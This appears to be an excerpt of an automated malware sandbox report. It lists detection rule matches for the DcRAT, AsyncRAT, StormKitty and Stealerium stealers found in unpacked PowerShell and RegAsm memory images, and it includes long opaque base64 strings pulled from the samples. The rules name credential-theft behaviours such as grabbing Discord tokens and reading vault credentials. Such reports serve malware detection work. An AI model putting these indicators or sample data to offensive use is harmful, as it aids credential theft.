Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.2.powershell.exe.23aceb266ae.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: 4.2.powershell.exe.23ae6840000.12.raw.unpack, Ntilg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.powershell.exe.23ad0505218.2.raw.unpack, Ntilg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.powershell.exe.23aceb29b50.3.raw.unpack, Ntilg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.powershell.exe.23ad04f3458.6.raw.unpack, Ntilg.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 4.2.powershell.exe.23ae6840000.12.raw.unpack, Knvbl.cs	Base64 encoded string: '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
Source: 4.2.powershell.exe.23ad0505218.2.raw.unpack, Knvbl.cs	Base64 encoded string: 'WC4GpJ6uLUYutfBk1g5z6L5p71FN3laLUfOFbOXy8QpvqoKStI/r0b5559mkOe1W0sE4+IpoBS0MvKu1egSOZbMch1WruvilZ0J+2G0YROJgLeSWOjgiEPmbe8MrZkewEYtD3lsGpG0rZhXWXWyRlu8mG5KMip7K7S8JQTIEhdHLPaWcqBg8PHQKNwOcLVUv2k5j4Ku8hkWuPRtH1xgQTMEn/YS520LKi9lkvuP3DgoW/KHiv87WKblJrzm4b4ydOaw1C+SGJNgjfVCVguKO/8Ts+Y07tWBC44inZF3g/sl6+jBDk1qi4k9WW01mu2pVAKz7YOc3hEz/rmbcCwudcA1MmzxQkFig4rK0b9zFWQ5Zcb4xfUTtBnMHdOX2GHq2+LL0Z7a61r2QMGW6Y2Ej+PoRRRL466JqgtqbiNdDKAyxvLyvc3RpR1vmeHgNKKHQKzhXW1eD7z8AXZS2eU0owPaedtLN/yE6eJ+wx5+rG+5jf3JXdcgn064dLcCoIyYP3U+0bJMoi+yltO4ezVzM69iQ/zNKLrL+04ySiBKzEr49K44dDOcjlxwAEzxdV6FKEGGjskXJc11fSFpQFSxzMDAH5tAbKL9LASG1L7xSscftryjRwmNMIQ21Qk7dmGz704MU0AUUZkTRLuOV2NSgpl2rX0UY9QVE9CoZvyEuQh7WZNhiN9dHSBZtgdkYeG5NrxIN8+1tNCvnUG8tsIp0b2558g3NXvb/ka5gyTDx+HgKUf8gpUS12m2XiG3H53hibzWXAGgxTzHpj92uf5VS7M2fn4nr2awwBfcXZVvJz2eEURJO0pPObI8FZt0+99ImCmgXpRqdCvwQaPNXsyeVtI9GI+gN3tUIjIsPjT0yGGNPkSuux5i5/NXYWgXS4u3meDaq9qT2/3QLby+npC9YZeMnMd+JD93RzHVFk9uUd4+CcnDks44wPpuKtpK780kul0SAaGe7XV3EZQ1fm1gcKPR3FAS6bajlVSXhXdp+kbHFrF7zzDcOcBzapnIPyTCOAmOdW4KyOfQ9cQTh2QnpMrKbTp9OsPbSkjgcih2/5dEdA42I/HscpQ+oyp9wDwKLQI4LOVLCPUI7BSJSPLnTvTPeoXG2OXqfcZfVUx7MJlhJar2yKuqdzOzCX7a35rf0bFePaP5ISfxn2snJPbK7OB93G3vfjiBUOYWsAs02zAgjQt/LHTEDClScrTyADWo+WEXvNICbtWm/h242wpLytiF/KtWYm3ERwaE5cK2F9TeiB1VNB79lUQduJq2TK5bErB0LO8X8XdM+Gu0Hk8nEkjLSZc+tr0txAGWVncIbLgTtOwdTL0ENFlXJFfeVViAnkl/8ixoEKEzDBIrb+2yaWVZ0636UuJFnbws1NX/1LM0PpO+lLPQZvlkx1XVug7zm8MMIyn2VLVOvtqgila1Es5nczvlxo1hplLalhLP7PNXvzqJV73kbh+IeJ8hXQ0ntzzMENOINdttjodC2++Dv3r9GZilwY0gC1uM05zdUgoLmZE/D3I9R5+gmLEYxCEhAvxrANmXDAW/mQ81f0iSAqE/N2O86kKiba9OufsCYhwlQ5GfTEmaMOcBO/7ADvOiNj0gXnhBhC3GbNsPifKZqLmdBE6zDrFgwIF2XHYsbfWvWGdVmtAqbj5ly